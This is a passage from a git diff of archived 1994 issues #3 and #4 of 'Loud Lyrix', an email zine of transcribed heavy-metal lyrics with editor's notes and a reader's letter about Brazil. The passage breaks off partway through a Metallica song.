+Mailing Program: NONE! Everything is done by hand. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #3, 4/05/94 +----------------------- + +Hello all you cool headbanger's out there in cyberspace, Loud Lyrix is +back with our 3rd issue.... Where has the time flown! It seems like just +yesterday that Loud Lyrix was nothing more than a spark of ingenuity in my +mind, and now look at us, after only 2 issues, Loud Lyrix now has over 120 +subscribers, plus 5 newsgroup postings, so who know HOW many people see +the 'zine.... I just wanna say thanx to all our contributing subscribers, +it has definitely taken a load off of myself, and it's nice to know that +there actually people alive out there, and willing to help...THANX! + +Now it's time for a serious request I have for all of you, I'm in GREAT +need of a LISTSERV that I could hook up with, so I can automate the +subscribing and mailing of Loud Lyrix... if any of you are postmasters or +sysadmin's or moderators of some list, I desperately need your help... all +I ask is for inclusion in your LISTSERV... you'll have my eternal +gratitude, plus, Loud Lyrix will be better and faster for everyone, I'm +asking again.... please, please please!! :-) + +Ok people, I've thought it over, and I want to offer you guys something, +from now on, in addition to sending in submissions or comments, you guys +can send in requests for lyrics... I will do my best to locate the lyrics +in the archives around the world, and if that still doesn't work, I will +post your request in the 'zine, so that maybe a subscriber can help. + +Ok everyone, last thing, I'm pretty disappointed in most of you, I haven't +been getting the number of comments that I'd like, if I don't receive +comments, I can't print any, so you will get a dry, boring issue like +this one, but if I had lot's of people mailing me with some reactions to +the song's we've printed, the 'zine would be a whole lot better and more +interesting.... so c'mon guyz... make an effort.... + +Ok, here you are, Loud Lyrix #3... enjoy! + +CONTENTS +-------- +Song 1: "Arti-ficial" by X-Ray Spex +Song 2: "Cemetary Gates" by Pantera +Song 3: "Flaming Telepaths" by Blue Oyster Cult +Song 4: "Junkhead" by Alice in Chains +Song 5: "Force Fed" by Precious Death +Song 6: "The Four Horsemen" by Metallica +Song 7: "Stigmata" by Ministry +Song 8: "Manifest" by Sepultura + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Preface: I know I don't really share most of the tastes expressed by Loud +Lyrix, but I like to invade lists with my own perverse tastes whenever +possible :-). I happened to have the lyrics from an old X-ray Spex album +near my computer, and I think they're pretty funny and sharp. Besides, this +great late '70s band definitely was LOUD! -- Richard Singer + +[Editor -- just to let everyone know, we aren't as strict as you think +about posting ONLY Heavy Metal lyrics in Loud Lyrix, as long as you don't +expect us to print some pop or A/C songs, don't worry about the genre you +send in, as long as it's funny or makes a statement, I'll probably put it +in, it's always worth a shot to ask right?] + +************************* A R T I - F I C I A L *************************** + by X - R A Y S P E X + Album: "Germ Free Adolescents" + + +I know I'm artificial +But don't put the blame on me +I was reared with appliances +In a consumer society + +When I put on my make-up +The pretty little mask not me +That's the way a girl should be +In a consumer society + +My existence is illusive +The kind that is supported +By mechanical resources +My existence is illusive +The kind that is supported +By mechanical resources + +I wanna be insta-matic +I wanna be a frozen pea +I wanna be dehydrated +In a consumer society + +In a consumer society +In a consumer society + +***************************** T H E E N D ******************************* +Typed By: Richard Singer + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** C E M E T A R Y G A T E S ************************ + by P A N T E R A + Album: "Cowboys from Hell" + + +The Reverend he turned to me +Without a tear in his eyes It's nothing new for him to see +I didn't ask him why +I will remember +The love our souls had sworn to make +Now I watch the falling rain +All my mind can see +Now is your (face) + + +Well I guess +You took my youth +I gave it all away +Like the birth of a +New found joy +This love would end in rage +And when she died +I couldn't cry +The pride within my soul +You left me incomplete +All alone as the +Memories now unfold + +Believe the word +I will unlock my door +And pass the +Cemetary Gates + +Sometimes when I'm alone +I wonder aloud +If you're watching over me +Some place far abound +I must reverse my life +I can't live in the past +Then set my soul free +Belong to me at last +Through all those +Complex years +I thought I was alone +I didn't care to look around +And make this world my own +And when she died +I should've cried and spared myself some pain... +Left me incomplete +All alone as the memories still remain + +The way we were +The chance to save my soul +And my concern is now in vain +Believe the word +I will unlock my door +And pass the cemetary gates. + +***************************** T H E E N D ******************************* +Typed By: Bill Northrup + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** F L A M I N G T E L E P A T H S ******************** + by B L U E O Y S T E R C U L T + Album: "Secret Treaties" + + +Well I've opened up my veins too many times +And the poison's in my heart and in my mind +Poison's in my bloodstream, poison's in my pride +I'm after rebellion, I'll settle for lies + +Is it any wonder that my mind's on fire +Imprisoned by the thoughts of what you do +Is it any wonder that the joke's an iron +And the jokes on you + +Experiments that failed too many times +Transformations that were too hard to find +Poison's in my bloodstream, poison's in my pride +I'm after rebellion, I'll settle for lies + +Yes I know the secrets of the iron and mind +They're trinity acts a mineral fire +Yes I know the secrets of the circuitry mind +It's a flaming wonder telepath + +Well I've opened up my veins too many times +And the poison's in my heart and in my mind +Poison's in my bloodstream, poison's in my pride +I'm after rebellion, I'll settle for lies + +Is it any wonder that my mind's on fire +Imprisoned by the thoughts of what you do +Is it any wonder that the joke's an iron +And the jokes on you + +And the joke's on you ... + +**************************** T H E E N D ******************************** +Typed by: Cobalt Raven + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************************** J U N K H E A D **************************** + by A L I C E I N C H A I N S + Album: "Dirt" + + +A good night, the best in a long time +A new friend turned me on to an old favorite +Nothing better than a dealer who's high +Be high, convince them to buy + +What's my drug of choice? +Well, what have you got? +I don't go broke +And I do it a lot + +Seems so sick to the hypocrite norm +Running their boring drills +But we are an elite race of our own +The stoners, junkies, and freaks + +Are you happy? I am, man. +Content and fully aware +Money, status, nothing to me +'Cause your life is empty and bare + +You can't understand a user's mind +But try, with your books and degrees +If you let yourself go and opened your mind +I'll bet you'd be doing like me +And it ain't so bad + +Say, I do it a lot! +Say, I do it a lot! +Say, I do it a lot! +Say, I do it a lot! + +**************************** T H E E N D ******************************** +Typed by: Cobalt Raven + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** F O R C E F E D ***************************** + by P R E C I O U S D E A T H + Album: "Southpaw" + + +Eyes wide open, feed on every line +Every picture, every word +The cut so deep and razor fine +And is it any wonder +That what I hate is what I seek? + +When blood becomes the common scene +When heart is hard and flesh is weak? +And I will not be lied or denied +I will not accept, respect or bow to.. + +Everything you give is everything you take +And I don't even think +That I know how to. + +Turn around and walk +Into the death that was my life +Or maybe life that was my death +And I may be your human target +But only 'til my final breath. + +Force fed +Exploited 'til dead +Force fed +Misguided 'til dead + +Crush the soul and fill the hole +With any substitute to take the place +Far away +>From sacrifice and grace + +Eyes wide open and +I'm blind, blind, blind +Smoke from your lips to +Take my vision +Blood from the sun to make me shine. + +***************************** T H E E N D ******************************* +Typed By: Phil Powell + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[ Editor -- Ok people, I just want to mention that this is my FAVORITE +Metallica song of ALL TIME... it ranks as one of my all time favorite songs +ever, truly a master piece, but of course, the without the music, how could +you tell? :-) ] + +******************* T H E F O U R H O R S E M E N ********************* + by M E T A L L I C A + Album: "Kill 'Em All" + + +By the last breath of the fourth winds blow +Better raise your ears +The sound of hooves knocks at your door +Lock up your wife and children now +It's time to wield the blade +For now you have got some company + + The Horsemen are drawing nearer + On the leather steeds they ride + They have come to take your life + On through the dead of night + With the four Horsemen ride + or choose your fate and die + +You have been dying since the day + You were born +You know it has all been planned +The quartet of deliverance rides +A sinner once a sinner twice +No need for confession now +Cause now you have got the fight of your life + + The Horsemen are drawing nearer + On the leather steeds they ride + They have come to take your life + On through the dead of night + With the four Horsemen ride + or choose your fate and die + +Time +has taken its toll on you +The lines that crack your face +Famine +Your body it has torn through +Withered in every place +Pestilence +For what you have had to endure +And what you have put others through +Death +Deliverance for you for sure +There is nothing you can do + +So gather round young warriors now +and saddle up your steeds +Killing scores with demon swords +Now is the death of doers of wrong +Swing the judgement hammer down +Safely inside armor blood guts and sweat + + The Horsemen are drawing nearer + On the leather steeds they ride + They have come to take your life + On through the dead of night + With the four Horsemen ride + or choose your fate and die + +***************************** T H E E N D ******************************* +Typed By: Gregory Smith + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[ Editor -- If you are offended by the swearing in this song, then you do +not deserve to be a Loud Lyrix subscriber. Remember, it's just a song. ] + +*************************** S T I G M A T A ******************************* + by M I N I S T R Y + Album: "Land of Rape and Honey" + + +You ran out of lies! +You ran out of lies! Lies! +Stronger than reason, stronger than life +The only truth I know is the look in your eyes +The look in your eyes! +Just like a car crash, just like a knife +My favorite weapon is the look in your eyes +You ran out of lies! + +You ran out of life! +You ran out of lies! +Get out of my life! + +And I'm chewing on glass and tasting my fingers +I'm not the one who's run out of lies, lies! +You ran out of life! +You ran out of time! + +Judging my faith and walking on splinters +I lost my soul to the look in your eyes +Your eyes! You ran out of lies! +Ran out of time... +Stigmata! You ran out of lies! + +Oh, you have empty eyes! (yes) +Oh, you have empty lies! (yes) +They told me nothing +Nothing but lies! +Yes! Yes! Yes! Yes! +Fuck! Fuck! Fuck! Fuck! +Fuck me! Fuck me! +Fuck you! Fuck you! +Fuck everyone! Fuck the church! +Fuck Jesus! Fuck Mary! +Fuck the Jews! Fuck the Buddhists! +Fuck the Hindus! Fuck George Bush! +Fuck his ugly wife! Fuck Tipper Gore! +Fuck everyone! Fuck Gorbachev! +Fuck Noriega! Fuck all these assholes! +Fuck you! Fuck me! Fuck all of you! +Stigmata! Stigmata! Stigmata! Stigmata! +They told me nothing but lies! +Lies! Lies! Lies! Lies! + +**************************** T H E E N D ******************************** +Typed by: Bill Northrup + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[ Editor -- Ok dudes, here is one song that I want EVERYONE to comment on, +it's by Sepultura, a Brasilian Death Metal band (if you didn't know), I +think this song has an excellent message, and it pretty much explains why +they had "Kill the Cops" and "Pig-Proof" on their speakers at their +concert!... but still, I believe that their hatred is justified, if this +story is any indication of the behavior of Brasilian cops. ] + +**************************** M A N I F E S T ****************************** + by S E P U L T U R A + Album: "Chaos A.D." + + +Friday, October 2nd, 1992 +Chaos has descended in "Carandiru," +The biggest penitentiary complex in +South America +Over a hundred inmates dead and +Hundreds injured on the massacre +The police arrived with helicopters +And over two hundred armed forces + +They took the jailblock +Called +"Pavihao Nove" +And opened fire on the +Inmates in a Holocaust, method of +Annihilation, the government of the city +Of Sao Paulo cannot control +The brutality of its police + +Holocaust, body piles +Confrontation, mutilation +Discipline, ignorance +Conflagration, torture + +Over eighty percent of the inmates were +Not sentenced yet, the bodies were filled +With bullets and bites from the police dogs +The police try to hide the massacre saying +There were only eight deaths + +The violence of Brasilian cops is very well +Known outside of Brazil, this kind of +Extermination is a method that they use to +Get rid of the over population in the jails +The violence of the cops left the whole +Pavillion destroyed after the rebellion + +"Pavihao Nove" (Pavihao 9) + +***************************** T H E E N D ******************************* +Typed by: The Lyrics archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Whew! That's it! .... if any of you are interested in how long it takes for +me to put together an issue of Loud Lyrix.... it usually takes me 10 to 20 +minutes to put all the songs together, and type up my editorials and +stuff, but first I have to format the songs the way you see them, and that +is a very tedious job... but enough boredom... have a good week everyone, +I hope your Easter was enjoyable, and don't forget about the LISTSERV +thing, I BADLY need one to hook up with, so please help me out. + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #3 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-04 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-04 new file mode 100644 index 00000000..8e70b756 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-04 @@ -0,0 +1,622 @@ + __ _____ __ __ ____ + /\ \ /\ __`\/\ \/\ \/\ _`\ + \ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \ + \ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \ + \ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \ + \ \____/ \ \_____\ \_____\ \____/ + \/___/ \/_____/\/_____/\/___/ + + __ __ ____ ______ __ __ + /\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \ + \ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/' + \ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > < + \ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\ + \ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\ + \/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/ + + + + Loud Lyrix, April 12, 1994, Issue # 4 + + +Addresses +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +FTP: None +Gopher: None +Usenet: None + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #4, 4/12/94 +----------------------- + +Here it is everyone, once again, week after week, the never ending, always +persistent and God of all 'zines -------> LOUD LYRIX! + +Well everyone, it's been a sad week, as you probably know, Kurt Cobain is +dead at the age of 27, father of one, and husband of Courtney Love. May he +find the peace in death, that he couldn't in life. + +As you may have noticed, Loud Lyrix has changed it's address... we are now +located at lyrix@terranet.cts.com, I have decided to make a new account for +the 'zine, and leave myself a nice, UNFLOODED, personal account. So I just +want to tell all of you that from now on, all 'zine related mailings should +be sent to lyrix@terranet.cts.com, and that includes subscription requests, +and sign offs. So if you are 'spreading the word' for me, make sure you use +the new address ok? Again.. that's lyrix@terranet.cts.com. Thanx! + +Alright people, I have a serious request for you all, I am starting a +"Great Usenet Hunt" here for the 'zine, I want all of you with Usenet +access to look around for newsgroups that I can regularly post the 'zine to +every week without getting flamed to hell! Just mail me, and tell me the +address for it, eg. alt.music.zines or whatever.... I want to change that +line in my header that reads: Usenet: None + +Ok! So here we are, we've had ONE, count 'em, ONE response to "Manifest" +by Sepultura, it is from a Brazilian brother who knows what it's like +there, so read it. I've also included another Sepultura song in this issue, +hope you all like it. + +I've also started the posting of "The Eye" by King Diamond... look for a +new chapter each week... there are 10 in all, and I'm telling you now, I +will NOT send anyone any chapters ahead of time, so don't even ask. :-) + +We had quite a bit of submissions this week, so I wish to thank all you +people for taking the time and becoming more involved with Loud Lyrix... +and that's it everyone, hope you enjoy this issue... and remember... we are +now at lyrix@terranet.cts.com. + +CONTENTS +-------- +Reader's Comments +Prologue: The Eye +Song 1: "The Eye of The Witch" by King Diamond +Song 2: "Diamonds and Rust" by Judas Priest +Song 3: "Propaganda" by Sepultura +Song 4: "You Shook Me All Night Long" by AC/DC +Song 5: "Smells Like Teen Spirit" by Nirvana +Song 6: "Fucking Hostile" by Pantera +Song 7: "Suicide Solution" by Ozzy Osbourne +Song 8: "Eternal" by Paradise Lost +Song 9: "Fade To Black" by Metallica + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************* R E A D E R ' S C O M M E N T S ********************* + +Date: Fri, 08 Apr 94 19:22:48 BSC +From: Andre Hentz +Subject: Re: Loud Lyrix #3 + +Since I'm a Brazilian, please excuse my English, I must state my opinion +about Sepultura's lyrics. First, I think it's necessary to understand a bit +of Brazilian history to explain what happened. As a result of 20 years of +dictatorial government, some sectors of society are corrupted and people +have not reacted to it. Brazil has the 4th largest TV network in the world +(Globo TV) and people only know what Globo tells them. Like this massacre, +other facts aren't known by the Brazilian people, so the situation doesn't +change. Or I should say it did not change. Since late 1992, when president +Fernando Collor was deposed by a democratic impeachment process, we are +cleaning Brazil out. + I wonder if bands like Sepultura should also communicate this kind of +loud criticism in Portuguese because only 1% of the 190 million population +of Brazil can understand English. + +[Editor -- It would be nice to see Sepultura expressing their views in +their native tongue, but I think they are singing in English because they +want the message to get across to the rest of the world. But they do have +some old songs that were in Portuguese, they sang some for an encore at +their gig here in Toronto.] + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Editor -- Ok everyone.... I am gonna post all the lyrics off of a certain +album, by a certain fellow, who in my un-humble opinion, is the greatest +writer and lyricist ever to walk the earth! His name is King Diamond, and +this certain album is called "The Eye".... I'd tell you what's it's about, +but you can just read the songs to find that out! I will be posting one +song from the album in each issue of Loud Lyrix.... in this one, I'm +posting the Prologue, that gives a little background of the story (which is +for the most part true by the way!), and all the songs on this album, are +like a chapter in the total story.. it's really kewl.... if you want the +full effect of the album, and it's energy and all that rot, I'd strongly +suggest going out, and buying it! Ok.... now for the Prologue... I hope you +enjoy it, see ya on the other side!] + +**************************** T H E E Y E ******************************* + by K I N G D I A M O N D + +Prologue +-------- + +|-----| + | + | + - he main part of the stories told on this album are unfortunately true, +and took place during the French Inquisition, 1450 - 1670. + +All of the following characters are real and from that period of time. + +Nicholas de la Reymie: Head investigator of the Christian Burning Court + (Chambre Ardente), in Paris, France + +Jeanne DiBasson: Supposed witch + +Madeleine Bavent: 18 year old french nun who entered the convent at Louviers + in 1625, after having been seduced by a priest. Died in + 1647 in prison. + +Father Pierre David: Chaplain of the convent at Louviers till his death in + 1628. + +Father Mathurin Picard: Chaplain of the convent at Louviers from 1628 to his + death in 1642. Among his sick, insane deeds he + managed to rape Madeleine Bavent. + +********************* T O B E C O N T I N U E D *********************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 1 of "The Eye", by King Diamond + +******************** E Y E O F T H E W I T C H ********************** + + +It's so cold inside on this summer's night +Black clouds in the sky dancing before my eyes +I'm losing track of time + +It's the Eye of the Witch +It's the Eye of the Witch + +Thunder bring the rain, penetrate my brain +I am no more the same, that special night has come again +Losing track of time + +It's the Eye of the Witch +The Eye...The eye...the eye + +Another glass of wine to heat the blood of mine +And as I look inside the necklace called "The Eye" +I'm going back in time + +It's the Eye of the Witch +It's the Eye of the Witch +The Eye...The eye...the eye + +********************* T O B E C O N T I N U E D *********************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Editor -- As everyone should know by now, Kurt Cobain, singer of Nirvana +has committed suicide at his home in Seattle. He exited this realm of +existence with a shotgun blast to the cranium. I can't say that I was the +biggest Nirvana fan in the world, but I am still as shocked or more so than +most people. As much as I hate crediting Nirvana with the "birth of Grunge" +I have to admit that they were influential in popularizing the sound, and +I can't really say if that's a good or a bad thing. But anyways, Kurt, +dude, this one's for you man, let's hope you're in a better place, where +the tunes are always cranked, and the moshing never ends.] + +************* S M E L L S L I K E T E E N S P I R I T *************** + by N I R V A N A + Album: "Nevermind" + + +Load up on guns and bring your friends +It's fun to lose and to pretend +She's over bored and self assured +Oh no, I know a dirty word + +Hello, hello, hello, how low? + +I'm worse at what I do best +And for this gift I feel blessed +Our little tribe has always been +And always will until the end + +Hello, hello, hello, how low? + +And I forget just why I taste +Oh yeah, I guess it makes me smile +I found it hard, it was hard to find +Oh well, whatever, nevermind + +With the lights out, it's less dangerous +Here we are now, entertain us +A mulatto +An albino +A mosquito +My libido +Yay, a denial + +***************************** T H E E N D ******************************* +Typed and Transcribed by: The Lerxst of Death +Contributed by: Sartre + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** D I A M O N D S A N D R U S T ************************* + by J U D A S P R I E S T + Album: "Sin After Sin (?)" + (original lyrics by Joan Baez) + + +I'll be damned, here comes your ghost again +but that's not unusual +it's just that the moon is full +and you decided to come + +And here I sit, hand on the telephone +hearing the voice I'd known +a couple of light years ago +headed straight for a fall + +But we both know what memories can bring +they bring Diamonds and Rust +yes we both know what memories can bring +they bring Diamonds and Rust + +Now I see you standing with brown leaves all around and snow in your hair +Now we're smiling out the window of the crummy hotel over washington square +and then comes that white clouds, mingles and hangs in the air +Speaking strictly for me +we both could've died then and there + +Now you're telling me you're not nostalgic +then give me another word for it +you were so good with words +and at keeping things paid + +cause I need some of that vagueness now, it's all come back too clearly +yes, I love you dearly +and if you're offering me diamonds and rust +I've already paid + +But we both know what memories can bring +they bring Diamonds and Rust +yes we both know what memories can bring +they bring Diamonds and Rust + +Diamonds, Diamonds and Rust +Diamonds, Diamonds and Rust +Diamonds, Diamonds and Rust +Diamonds, Diamonds and Rust + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************** P R O P A G A N D A **************************** + by S E P U L T U R A + Album: "Chaos A.D." + + +Why don't you get a life and grow up +Why don't you realize that you're fucked up +Why criticize what you don't understand +Why change my words, you're so afraid + +You think you have the right to +Put me down +Propaganda hides your scum +Face to face you don't have a word to say +You got in my way, now you'll have to pay + +Don't, don't believe what you +See +Don't, don't believe what you read +No!!! + +I know my ways, I'm here to stay +I didn't start all this yesterday +I'll prove you wrong all the way +Life teaches me you're always alone + +Don't, don't believe what you +See +Don't, don't believe what you read +No!!! + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********* Y O U S H O O K M E A L L N I G H T L O N G *********** + by A C / D C + Album: "Back in Black" + + +She was a fast machine, +She kept her motor clean, +She was the best damn woman that I ever seen, + +She had a-sightless eyes, +Telling me no lie, +Knockin' me out with those American thighs, + +Taking more than her share, +Had me fighting for air, +She told me to come, but I was already there, + +'Cos the walls start shaking, +The earth was quaking, +My mind was achin', +And we were makin' it and you... + +Shook me all night long, +Yeah you, shook me all night long. + +Running double time on that seduction line, +She's one of a kind, +She's just mine all mine, + +Well her claws, +Are just another cause, +Made a meal out of me, and come back for more, + +Tried to cool me down, +To take another round, +Well I'm back in the ring to take another swing, + +But the walls were shaking, +The earth was quaking, +My mind was aching, +And we were making it and you... + +Shook me all night long, +Yeah you, shook me all night long, +Knocked me out, I said you +Shook me all night long, +Had me shaking and you, +Shook me all night long, +Had me shaking, +Well you shook me... + +[guitar solo] + +You really shook me and YOU! +Shook me all night long, +Aaaaahaaaahaaaah You... +Shook me all night long, +Yeah yeah you, +Shook me all night long, +You really got me and you, +Shook me all night long, +Yeah you shook me, +Yeah you shook me, +All night long. + +**************************** T H E E N D ******************************** +Typed by: Lyrics archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** F U C K I N G H O S T I L E ************************ + by P A N T E R A + Album: "Vulgar Display of Power" + + +Almost every day. I see the same face on broken picture tube +It fits my attitude. +If you could see yourself, you put you on a shelf, your verbal masturbate +Promise to nausiate +Today I'll play the part of non-parent +Not make a hundred rules for you to know about yourself +Not lie and make you believe what's evil is making love +And making friends, and meeting God your own way. +The right way. + +Chorus: +To see, to bleed, cannot be taught +In turn you're making us fucking hostile +We stand alone + +The truth in right and wrong, the boundaries of the law. +You seem to miss the point. +Arresting for a joint?! +You seem to wonder why hundreds of people die. +You're writing tickets man, my mom got jumped, they ran! +Now I'll play a public servant. +To serve and protect by the law and the state. +I'd bust the punks that rape, steal and murder. +And leave you be, if you crossed me. +I'd shake your hand like a man, not a God. + +(Chorus) + +Come meet your maker boy, something you can't enjoy. +Because of heaven/hell. +A fucking wives tale they put in your head. +Then put you in your bed. +He's watching say your prayers, cause God is everywhere. +Now I'll play a man learning priesthood. +Who's about to take the ultimate test in life. +I'd question things because I am human. +And call NO ONE my father who's no closer than a stranger. + +I won't listen. + +(Chorus) + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** S U I C I D E S O L U T I O N ********************** + by O Z Z Y O S B O U R N E + Album: "Blizzard of Ozz" + + +Wine is fine +But whiskey's quicker +suicide is slow with liquor +Take a bottle drain your sorrows +Candied thoughts await tomorrows +Evil thought and evil doings +Cold, alone you hang in ruins +Thought you'd escape the reaper +You can't escape the master keeper +'Cause you feel life's unreal and you're living a lie +Such a shame who's to blame and you're wondering why +Then you ask from your cask is there life after birth +What you saw can mean hell on this earth +Now you live inside a bottle +The reaper's travelling at full throttle +It's catching you but you don't see +The reaper is you and the reaper is me +Breaking laws, knocking doors +But there's no one at home +Made your bed, rest your head +But you lie there and moan +Where to hide, suicide is the only way out +Don't you know what it's really about + +Wine is fine +But whiskey's quicker +Suicide is slow with liquor +Take a bottle drown your sorrows +candied thoughts await tomorrow + +***************************** T H E E N D ******************************* +Typed by: David Reeves <91843318@uwwvax.uww.edu> + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************************** E T E R N A L ******************************* + by P A R A D I S E L O S T + Album: "Gothic" + +Why can't we hear +The time must come for us to leave here +Emotion has withered away +Out burnt out love has decayed + +Obsessed to leave the earth +Tragedy has overrun since birth + +Now our righteous fathers weep +As we greet eternal sleep +Are we born to pass away + +Cry at all that remains +"Chosen words" fail to sustain +The wisdom of powers heard +In dismal thoughts seemingly absurd + +Now as hope and glory dies +We'll scream at our demise +Are we lost forever more + +[Now our righteous fathers weep + As we greet eternal sleep + Are we born to pass away] + +***************************** T H E E N D ******************************* +Typed by: ppbruno@vmesa.uerj.br + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** F A D E T O B L A C K ************************* + by M E T A L L I C A + Album: "Ride The Lightning" + + +Life it seems, will fade away +8Drifting further every day +Getting lost within myself +Nothing matters no one else +I have lost the will to live +Simply nothing more to give +There is nothing more for 